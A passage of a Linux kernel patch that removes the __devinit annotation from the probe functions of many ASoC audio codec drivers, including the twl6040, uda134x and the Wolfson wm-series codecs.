@@ -1229,7 +1229,7 @@ static struct snd_soc_codec_driver soc_codec_dev_twl6040 = {
 	.num_dapm_routes = ARRAY_SIZE(intercon),
 };
 
-static int __devinit twl6040_codec_probe(struct platform_device *pdev)
+static int twl6040_codec_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_twl6040,
 				      twl6040_dai, ARRAY_SIZE(twl6040_dai));
diff --git a/sound/soc/codecs/uda134x.c b/sound/soc/codecs/uda134x.c
index 9c60366..6c5a395 100644
--- a/sound/soc/codecs/uda134x.c
+++ b/sound/soc/codecs/uda134x.c
@@ -601,7 +601,7 @@ static struct snd_soc_codec_driver soc_codec_dev_uda134x = {
 	.set_bias_level = uda134x_set_bias_level,
 };
 
-static int __devinit uda134x_codec_probe(struct platform_device *pdev)
+static int uda134x_codec_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_uda134x, &uda134x_dai, 1);
diff --git a/sound/soc/codecs/uda1380.c b/sound/soc/codecs/uda1380.c
index 2f6c391..289dfe1 100644
--- a/sound/soc/codecs/uda1380.c
+++ b/sound/soc/codecs/uda1380.c
@@ -795,7 +795,7 @@ static struct snd_soc_codec_driver soc_codec_dev_uda1380 = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int uda1380_i2c_probe(struct i2c_client *i2c,
+static int uda1380_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct uda1380_priv *uda1380;
diff --git a/sound/soc/codecs/wl1273.c b/sound/soc/codecs/wl1273.c
index 1823a45..2ae0302 100644
--- a/sound/soc/codecs/wl1273.c
+++ b/sound/soc/codecs/wl1273.c
@@ -485,7 +485,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wl1273 = {
 	.remove = wl1273_remove,
 };
 
-static int __devinit wl1273_platform_probe(struct platform_device *pdev)
+static int wl1273_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_wl1273,
 				      &wl1273_dai, 1);
diff --git a/sound/soc/codecs/wm0010.c b/sound/soc/codecs/wm0010.c
index 5af91d6..c449178 100644
--- a/sound/soc/codecs/wm0010.c
+++ b/sound/soc/codecs/wm0010.c
@@ -863,7 +863,7 @@ static int wm0010_probe(struct snd_soc_codec *codec)
 	return 0;
 }
 
-static int __devinit wm0010_spi_probe(struct spi_device *spi)
+static int wm0010_spi_probe(struct spi_device *spi)
 {
 	unsigned long gpio_flags;
 	int ret;
diff --git a/sound/soc/codecs/wm1250-ev1.c b/sound/soc/codecs/wm1250-ev1.c
index 169fac1..18e58bd 100644
--- a/sound/soc/codecs/wm1250-ev1.c
+++ b/sound/soc/codecs/wm1250-ev1.c
@@ -153,7 +153,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm1250_ev1 = {
 	.idle_bias_off = true,
 };
 
-static int __devinit wm1250_ev1_pdata(struct i2c_client *i2c)
+static int wm1250_ev1_pdata(struct i2c_client *i2c)
 {
 	struct wm1250_ev1_pdata *pdata = dev_get_platdata(&i2c->dev);
 	struct wm1250_priv *wm1250;
@@ -199,7 +199,7 @@ static void wm1250_ev1_free(struct i2c_client *i2c)
 		gpio_free_array(wm1250->gpios, ARRAY_SIZE(wm1250->gpios));
 }
 
-static int __devinit wm1250_ev1_probe(struct i2c_client *i2c,
+static int wm1250_ev1_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *i2c_id)
 {
 	int id, board, rev, ret;
diff --git a/sound/soc/codecs/wm2000.c b/sound/soc/codecs/wm2000.c
index da4e707..9956b74 100644
--- a/sound/soc/codecs/wm2000.c
+++ b/sound/soc/codecs/wm2000.c
@@ -764,7 +764,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm2000 = {
 	.num_controls = ARRAY_SIZE(wm2000_controls),
 };
 
-static int __devinit wm2000_i2c_probe(struct i2c_client *i2c,
+static int wm2000_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *i2c_id)
 {
 	struct wm2000_priv *wm2000;
diff --git a/sound/soc/codecs/wm2200.c b/sound/soc/codecs/wm2200.c
index 11cabda..b6428c6 100644
--- a/sound/soc/codecs/wm2200.c
+++ b/sound/soc/codecs/wm2200.c
@@ -2184,7 +2184,7 @@ static const unsigned int wm2200_mic_ctrl_reg[] = {
 	WM2200_IN3L_CONTROL,
 };
 
-static __devinit int wm2200_i2c_probe(struct i2c_client *i2c,
+static int wm2200_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm2200_pdata *pdata = dev_get_platdata(&i2c->dev);
diff --git a/sound/soc/codecs/wm5100.c b/sound/soc/codecs/wm5100.c
index 96069ec..ee4e4b2 100644
--- a/sound/soc/codecs/wm5100.c
+++ b/sound/soc/codecs/wm5100.c
@@ -2414,7 +2414,7 @@ static const unsigned int wm5100_mic_ctrl_reg[] = {
 	WM5100_IN4L_CONTROL,
 };
 
-static __devinit int wm5100_i2c_probe(struct i2c_client *i2c,
+static int wm5100_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm5100_pdata *pdata = dev_get_platdata(&i2c->dev);
diff --git a/sound/soc/codecs/wm5102.c b/sound/soc/codecs/wm5102.c
index 4a57802..0210a08 100644
--- a/sound/soc/codecs/wm5102.c
+++ b/sound/soc/codecs/wm5102.c
@@ -1447,7 +1447,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm5102 = {
 	.num_dapm_routes = ARRAY_SIZE(wm5102_dapm_routes),
 };
 
-static int __devinit wm5102_probe(struct platform_device *pdev)
+static int wm5102_probe(struct platform_device *pdev)
 {
 	struct arizona *arizona = dev_get_drvdata(pdev->dev.parent);
 	struct wm5102_priv *wm5102;
diff --git a/sound/soc/codecs/wm5110.c b/sound/soc/codecs/wm5110.c
index 6f66b11..59f5d16 100644
--- a/sound/soc/codecs/wm5110.c
+++ b/sound/soc/codecs/wm5110.c
@@ -949,7 +949,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm5110 = {
 	.num_dapm_routes = ARRAY_SIZE(wm5110_dapm_routes),
 };
 
-static int __devinit wm5110_probe(struct platform_device *pdev)
+static int wm5110_probe(struct platform_device *pdev)
 {
 	struct arizona *arizona = dev_get_drvdata(pdev->dev.parent);
 	struct wm5110_priv *wm5110;
diff --git a/sound/soc/codecs/wm8350.c b/sound/soc/codecs/wm8350.c
index d0e35d3..24eaf4d 100644
--- a/sound/soc/codecs/wm8350.c
+++ b/sound/soc/codecs/wm8350.c
@@ -1627,7 +1627,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8350 = {
 	.num_dapm_routes = ARRAY_SIZE(wm8350_dapm_routes),
 };
 
-static int __devinit wm8350_probe(struct platform_device *pdev)
+static int wm8350_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_wm8350,
 			&wm8350_dai, 1);
diff --git a/sound/soc/codecs/wm8400.c b/sound/soc/codecs/wm8400.c
index a9a85f6..fde7b17 100644
--- a/sound/soc/codecs/wm8400.c
+++ b/sound/soc/codecs/wm8400.c
@@ -1439,7 +1439,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8400 = {
 	.num_dapm_routes = ARRAY_SIZE(wm8400_dapm_routes),
 };
 
-static int __devinit wm8400_probe(struct platform_device *pdev)
+static int wm8400_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_wm8400,
 			&wm8400_dai, 1);
diff --git a/sound/soc/codecs/wm8510.c b/sound/soc/codecs/wm8510.c
index 91816eb..28dbbdc 100644
--- a/sound/soc/codecs/wm8510.c
+++ b/sound/soc/codecs/wm8510.c
@@ -648,7 +648,7 @@ static const struct regmap_config wm8510_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8510_spi_probe(struct spi_device *spi)
+static int wm8510_spi_probe(struct spi_device *spi)
 {
 	struct wm8510_priv *wm8510;
 	int ret;
@@ -688,7 +688,7 @@ static struct spi_driver wm8510_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8510_i2c_probe(struct i2c_client *i2c,
+static int wm8510_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8510_priv *wm8510;
diff --git a/sound/soc/codecs/wm8523.c b/sound/soc/codecs/wm8523.c
index 6004c17..c05c55d 100644
--- a/sound/soc/codecs/wm8523.c
+++ b/sound/soc/codecs/wm8523.c
@@ -453,7 +453,7 @@ static const struct regmap_config wm8523_regmap = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8523_i2c_probe(struct i2c_client *i2c,
+static int wm8523_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8523_priv *wm8523;
diff --git a/sound/soc/codecs/wm8711.c b/sound/soc/codecs/wm8711.c
index c97eb50..a366fdc 100644
--- a/sound/soc/codecs/wm8711.c
+++ b/sound/soc/codecs/wm8711.c
@@ -429,7 +429,7 @@ static const struct regmap_config wm8711_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8711_spi_probe(struct spi_device *spi)
+static int wm8711_spi_probe(struct spi_device *spi)
 {
 	struct wm8711_priv *wm8711;
 	int ret;
@@ -470,7 +470,7 @@ static struct spi_driver wm8711_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8711_i2c_probe(struct i2c_client *client,
+static int wm8711_i2c_probe(struct i2c_client *client,
 				      const struct i2c_device_id *id)
 {
 	struct wm8711_priv *wm8711;
diff --git a/sound/soc/codecs/wm8727.c b/sound/soc/codecs/wm8727.c
index a38c36b..3bc03f8 100644
--- a/sound/soc/codecs/wm8727.c
+++ b/sound/soc/codecs/wm8727.c
@@ -45,7 +45,7 @@ static struct snd_soc_dai_driver wm8727_dai = {
 
 static struct snd_soc_codec_driver soc_codec_dev_wm8727;
 
-static __devinit int wm8727_probe(struct platform_device *pdev)
+static int wm8727_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_wm8727, &wm8727_dai, 1);
diff --git a/sound/soc/codecs/wm8728.c b/sound/soc/codecs/wm8728.c
index 50aa6dd..245c2b4 100644
--- a/sound/soc/codecs/wm8728.c
+++ b/sound/soc/codecs/wm8728.c
@@ -280,7 +280,7 @@ static const struct regmap_config wm8728_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8728_spi_probe(struct spi_device *spi)
+static int wm8728_spi_probe(struct spi_device *spi)
 {
 	struct wm8728_priv *wm8728;
 	int ret;
@@ -321,7 +321,7 @@ static struct spi_driver wm8728_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8728_i2c_probe(struct i2c_client *i2c,
+static int wm8728_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8728_priv *wm8728;
diff --git a/sound/soc/codecs/wm8731.c b/sound/soc/codecs/wm8731.c
index c277327..71617ad 100644
--- a/sound/soc/codecs/wm8731.c
+++ b/sound/soc/codecs/wm8731.c
@@ -631,7 +631,7 @@ static const struct regmap_config wm8731_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8731_spi_probe(struct spi_device *spi)
+static int wm8731_spi_probe(struct spi_device *spi)
 {
 	struct wm8731_priv *wm8731;
 	int ret;
@@ -679,7 +679,7 @@ static struct spi_driver wm8731_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8731_i2c_probe(struct i2c_client *i2c,
+static int wm8731_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8731_priv *wm8731;
diff --git a/sound/soc/codecs/wm8737.c b/sound/soc/codecs/wm8737.c
index 46caa41..9e1a100 100644
--- a/sound/soc/codecs/wm8737.c
+++ b/sound/soc/codecs/wm8737.c
@@ -645,7 +645,7 @@ static const struct regmap_config wm8737_regmap = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8737_i2c_probe(struct i2c_client *i2c,
+static int wm8737_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8737_priv *wm8737;
@@ -705,7 +705,7 @@ static struct i2c_driver wm8737_i2c_driver = {
 #endif
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8737_spi_probe(struct spi_device *spi)
+static int wm8737_spi_probe(struct spi_device *spi)
 {
 	struct wm8737_priv *wm8737;
 	int ret, i;
diff --git a/sound/soc/codecs/wm8741.c b/sound/soc/codecs/wm8741.c
index 24c5576..019558c 100644
--- a/sound/soc/codecs/wm8741.c
+++ b/sound/soc/codecs/wm8741.c
@@ -562,7 +562,7 @@ static struct i2c_driver wm8741_i2c_driver = {
 #endif
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8741_spi_probe(struct spi_device *spi)
+static int wm8741_spi_probe(struct spi_device *spi)
 {
 	struct wm8741_priv *wm8741;
 	int ret, i;
diff --git a/sound/soc/codecs/wm8750.c b/sound/soc/codecs/wm8750.c
index b45575e..28256c4 100644
--- a/sound/soc/codecs/wm8750.c
+++ b/sound/soc/codecs/wm8750.c
@@ -769,7 +769,7 @@ static const struct regmap_config wm8750_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8750_spi_probe(struct spi_device *spi)
+static int wm8750_spi_probe(struct spi_device *spi)
 {
 	struct wm8750_priv *wm8750;
 	struct regmap *regmap;
@@ -817,7 +817,7 @@ static struct spi_driver wm8750_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8750_i2c_probe(struct i2c_client *i2c,
+static int wm8750_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8750_priv *wm8750;
diff --git a/sound/soc/codecs/wm8753.c b/sound/soc/codecs/wm8753.c
index 0daacac..c22f580 100644
--- a/sound/soc/codecs/wm8753.c
+++ b/sound/soc/codecs/wm8753.c
@@ -1550,7 +1550,7 @@ static const struct regmap_config wm8753_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8753_spi_probe(struct spi_device *spi)
+static int wm8753_spi_probe(struct spi_device *spi)
 {
 	struct wm8753_priv *wm8753;
 	int ret;
@@ -1607,7 +1607,7 @@ static struct spi_driver wm8753_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8753_i2c_probe(struct i2c_client *i2c,
+static int wm8753_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8753_priv *wm8753;
diff --git a/sound/soc/codecs/wm8770.c b/sound/soc/codecs/wm8770.c
index 849b5f3..053a2f5 100644
--- a/sound/soc/codecs/wm8770.c
+++ b/sound/soc/codecs/wm8770.c
@@ -650,7 +650,7 @@ static const struct regmap_config wm8770_regmap = {
 	.volatile_reg = wm8770_volatile_reg,
 };
 
-static int __devinit wm8770_spi_probe(struct spi_device *spi)
+static int wm8770_spi_probe(struct spi_device *spi)
 {
 	struct wm8770_priv *wm8770;
 	int ret, i;
diff --git a/sound/soc/codecs/wm8776.c b/sound/soc/codecs/wm8776.c
index 7bb0ee5..93bca00 100644
--- a/sound/soc/codecs/wm8776.c
+++ b/sound/soc/codecs/wm8776.c
@@ -492,7 +492,7 @@ static const struct regmap_config wm8776_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8776_spi_probe(struct spi_device *spi)
+static int wm8776_spi_probe(struct spi_device *spi)
 {
 	struct wm8776_priv *wm8776;
 	int ret;
@@ -532,7 +532,7 @@ static struct spi_driver wm8776_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8776_i2c_probe(struct i2c_client *i2c,
+static int wm8776_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8776_priv *wm8776;
diff --git a/sound/soc/codecs/wm8782.c b/sound/soc/codecs/wm8782.c
index 6b82ae6..4b752b7 100644
--- a/sound/soc/codecs/wm8782.c
+++ b/sound/soc/codecs/wm8782.c
@@ -42,7 +42,7 @@ static struct snd_soc_dai_driver wm8782_dai = {
 
 static struct snd_soc_codec_driver soc_codec_dev_wm8782;
 
-static __devinit int wm8782_probe(struct platform_device *pdev)
+static int wm8782_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_wm8782, &wm8782_dai, 1);
diff --git a/sound/soc/codecs/wm8804.c b/sound/soc/codecs/wm8804.c
index 368fe09..cad8ea0 100644
--- a/sound/soc/codecs/wm8804.c
+++ b/sound/soc/codecs/wm8804.c
@@ -702,7 +702,7 @@ static struct regmap_config wm8804_regmap_config = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8804_spi_probe(struct spi_device *spi)
+static int wm8804_spi_probe(struct spi_device *spi)
 {
 	struct wm8804_priv *wm8804;
 	int ret;
@@ -745,7 +745,7 @@ static struct spi_driver wm8804_spi_driver = {
 #endif
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8804_i2c_probe(struct i2c_client *i2c,
+static int wm8804_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8804_priv *wm8804;
diff --git a/sound/soc/codecs/wm8900.c b/sound/soc/codecs/wm8900.c
index d68b2dd..375720e 100644
--- a/sound/soc/codecs/wm8900.c
+++ b/sound/soc/codecs/wm8900.c
@@ -1247,7 +1247,7 @@ static const struct regmap_config wm8900_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8900_spi_probe(struct spi_device *spi)
+static int wm8900_spi_probe(struct spi_device *spi)
 {
 	struct wm8900_priv *wm8900;
 	int ret;
@@ -1286,7 +1286,7 @@ static struct spi_driver wm8900_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8900_i2c_probe(struct i2c_client *i2c,
+static int wm8900_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8900_priv *wm8900;
diff --git a/sound/soc/codecs/wm8903.c b/sound/soc/codecs/wm8903.c
index 8e9977b..930b1a2 100644
--- a/sound/soc/codecs/wm8903.c
+++ b/sound/soc/codecs/wm8903.c
@@ -2020,7 +2020,7 @@ static int wm8903_set_pdata_from_of(struct i2c_client *i2c,
 	return 0;
 }
 
-static __devinit int wm8903_i2c_probe(struct i2c_client *i2c,
+static int wm8903_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8903_platform_data *pdata = dev_get_platdata(&i2c->dev);
diff --git a/sound/soc/codecs/wm8904.c b/sound/soc/codecs/wm8904.c
index b1d0ea5..6a150d0 100644
--- a/sound/soc/codecs/wm8904.c
+++ b/sound/soc/codecs/wm8904.c
@@ -2111,7 +2111,7 @@ static const struct regmap_config wm8904_regmap = {
 	.num_reg_defaults = ARRAY_SIZE(wm8904_reg_defaults),
 };
 
-static __devinit int wm8904_i2c_probe(struct i2c_client *i2c,
+static int wm8904_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8904_priv *wm8904;
diff --git a/sound/soc/codecs/wm8940.c b/sound/soc/codecs/wm8940.c
index 9a9a17f..d80fbcf 100644
--- a/sound/soc/codecs/wm8940.c
+++ b/sound/soc/codecs/wm8940.c
@@ -742,7 +742,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8940 = {
 	.volatile_register = wm8940_volatile_register,
 };
 
-static __devinit int wm8940_i2c_probe(struct i2c_client *i2c,
+static int wm8940_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8940_priv *wm8940;
diff --git a/sound/soc/codecs/wm8955.c b/sound/soc/codecs/wm8955.c
index a18b15b..b1fd4d7 100644
--- a/sound/soc/codecs/wm8955.c
+++ b/sound/soc/codecs/wm8955.c
@@ -1012,7 +1012,7 @@ static const struct regmap_config wm8955_regmap = {
 	.num_reg_defaults = ARRAY_SIZE(wm8955_reg_defaults),
 };
 
-static __devinit int wm8955_i2c_probe(struct i2c_client *i2c,
+static int wm8955_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8955_priv *wm8955;
diff --git a/sound/soc/codecs/wm8960.c b/sound/soc/codecs/wm8960.c
index bb6eba5..e22a440 100644
--- a/sound/soc/codecs/wm8960.c
+++ b/sound/soc/codecs/wm8960.c
@@ -1028,7 +1028,7 @@ static const struct regmap_config wm8960_regmap = {
 	.volatile_reg = wm8960_volatile,
 };
 
-static __devinit int wm8960_i2c_probe(struct i2c_client *i2c,
+static int wm8960_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8960_data *pdata = dev_get_platdata(&i2c->dev);
diff --git a/sound/soc/codecs/wm8961.c b/sound/soc/codecs/wm8961.c
index aade82e..f862f7b 100644
--- a/sound/soc/codecs/wm8961.c
+++ b/sound/soc/codecs/wm8961.c
@@ -937,7 +937,7 @@ static const struct regmap_config wm8961_regmap = {
 	.readable_reg = wm8961_readable,
 };
 
-static __devinit int wm8961_i2c_probe(struct i2c_client *i2c,
+static int wm8961_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8961_priv *wm8961;
diff --git a/sound/soc/codecs/wm8962.c b/sound/soc/codecs/wm8962.c
index de01896..dccc56f 100644
--- a/sound/soc/codecs/wm8962.c
+++ b/sound/soc/codecs/wm8962.c
@@ -3588,7 +3588,7 @@ static const struct regmap_config wm8962_regmap = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int wm8962_i2c_probe(struct i2c_client *i2c,
+static int wm8962_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8962_pdata *pdata = dev_get_platdata(&i2c->dev);
diff --git a/sound/soc/codecs/wm8971.c b/sound/soc/codecs/wm8971.c
index eea701e..6028e99 100644
--- a/sound/soc/codecs/wm8971.c
+++ b/sound/soc/codecs/wm8971.c
@@ -717,7 +717,7 @@ static const struct regmap_config wm8971_regmap = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int wm8971_i2c_probe(struct i2c_client *i2c,
+static int wm8971_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8971_priv *wm8971;
diff --git a/sound/soc/codecs/wm8974.c b/sound/soc/codecs/wm8974.c
index ff5e507..a1c8c52 100644
--- a/sound/soc/codecs/wm8974.c
+++ b/sound/soc/codecs/wm8974.c
@@ -625,7 +625,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8974 = {
 	.num_dapm_routes = ARRAY_SIZE(wm8974_dapm_routes),
 };
 
-static __devinit int wm8974_i2c_probe(struct i2c_client *i2c,
+static int wm8974_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	int ret;
diff --git a/sound/soc/codecs/wm8978.c b/sound/soc/codecs/wm8978.c
index 5a8a0a3..7028f1a 100644
--- a/sound/soc/codecs/wm8978.c
+++ b/sound/soc/codecs/wm8978.c
@@ -1038,7 +1038,7 @@ static const struct regmap_config wm8978_regmap_config = {
 	.num_reg_defaults = ARRAY_SIZE(wm8978_reg_defaults),
 };
 
-static __devinit int wm8978_i2c_probe(struct i2c_client *i2c,
+static int wm8978_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8978_priv *wm8978;
diff --git a/sound/soc/codecs/wm8983.c b/sound/soc/codecs/wm8983.c
index e29c736..9b2b612 100644
--- a/sound/soc/codecs/wm8983.c
+++ b/sound/soc/codecs/wm8983.c
@@ -1087,7 +1087,7 @@ static const struct regmap_config wm8983_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8983_spi_probe(struct spi_device *spi)
+static int wm8983_spi_probe(struct spi_device *spi)
 {
 	struct wm8983_priv *wm8983;
 	int ret;
@@ -1127,7 +1127,7 @@ static struct spi_driver wm8983_spi_driver = {
 #endif
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8983_i2c_probe(struct i2c_client *i2c,
+static int wm8983_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8983_priv *wm8983;
diff --git a/sound/soc/codecs/wm8985.c b/sound/soc/codecs/wm8985.c
index 4e1ef71..76c0503 100644
--- a/sound/soc/codecs/wm8985.c
+++ b/sound/soc/codecs/wm8985.c
@@ -1111,7 +1111,7 @@ static const struct regmap_config wm8985_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8985_spi_probe(struct spi_device *spi)
+static int wm8985_spi_probe(struct spi_device *spi)
 {
 	struct wm8985_priv *wm8985;
 	int ret;
@@ -1163,7 +1163,7 @@ static struct spi_driver wm8985_spi_driver = {
 #endif
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8985_i2c_probe(struct i2c_client *i2c,
+static int wm8985_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8985_priv *wm8985;
diff --git a/sound/soc/codecs/wm8988.c b/sound/soc/codecs/wm8988.c
index 1e6cb3e..20b0425 100644
--- a/sound/soc/codecs/wm8988.c
+++ b/sound/soc/codecs/wm8988.c
@@ -872,7 +872,7 @@ static struct regmap_config wm8988_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8988_spi_probe(struct spi_device *spi)
+static int wm8988_spi_probe(struct spi_device *spi)
 {
 	struct wm8988_priv *wm8988;
 	int ret;
@@ -918,7 +918,7 @@ static struct spi_driver wm8988_spi_driver = {
 #endif /* CONFIG_SPI_MASTER */
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8988_i2c_probe(struct i2c_client *i2c,
+static int wm8988_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8988_priv *wm8988;
diff --git a/sound/soc/codecs/wm8990.c b/sound/soc/codecs/wm8990.c
index db75bd2..a666c16 100644
--- a/sound/soc/codecs/wm8990.c
+++ b/sound/soc/codecs/wm8990.c
@@ -1382,7 +1382,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8990 = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm8990_i2c_probe(struct i2c_client *i2c,
+static int wm8990_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8990_priv *wm8990;
diff --git a/sound/soc/codecs/wm8991.c b/sound/soc/codecs/wm8991.c
index e09efea..556e43f 100644
--- a/sound/soc/codecs/wm8991.c
+++ b/sound/soc/codecs/wm8991.c
@@ -1357,7 +1357,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8991 = {
 	.reg_cache_default = wm8991_reg_defs
 };
 
-static __devinit int wm8991_i2c_probe(struct i2c_client *i2c,
+static int wm8991_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8991_priv *wm8991;
diff --git a/sound/soc/codecs/wm8993.c b/sound/soc/codecs/wm8993.c
index d57ec80..0a7c29a 100644
--- a/sound/soc/codecs/wm8993.c
+++ b/sound/soc/codecs/wm8993.c
@@ -1645,7 +1645,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8993 = {
 	.set_bias_level = wm8993_set_bias_level,
 };
 
-static __devinit int wm8993_i2c_probe(struct i2c_client *i2c,
+static int wm8993_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8993_priv *wm8993;
diff --git a/sound/soc/codecs/wm8994.c b/sound/soc/codecs/wm8994.c
index 52d4ec7..2c1e0b5 100644
--- a/sound/soc/codecs/wm8994.c
+++ b/sound/soc/codecs/wm8994.c
@@ -4247,7 +4247,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm8994 = {
 	.set_bias_level = wm8994_set_bias_level,
 };
 
-static int __devinit wm8994_probe(struct platform_device *pdev)
+static int wm8994_probe(struct platform_device *pdev)
 {
 	struct wm8994_priv *wm8994;
 
diff --git a/sound/soc/codecs/wm8995.c b/sound/soc/codecs/wm8995.c
index 2503294..bbfb5b9 100644
--- a/sound/soc/codecs/wm8995.c
+++ b/sound/soc/codecs/wm8995.c
@@ -2256,7 +2256,7 @@ static struct regmap_config wm8995_regmap = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit wm8995_spi_probe(struct spi_device *spi)
+static int wm8995_spi_probe(struct spi_device *spi)
 {
 	struct wm8995_priv *wm8995;
 	int ret;
@@ -2310,7 +2310,7 @@ static struct spi_driver wm8995_spi_driver = {
 #endif
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
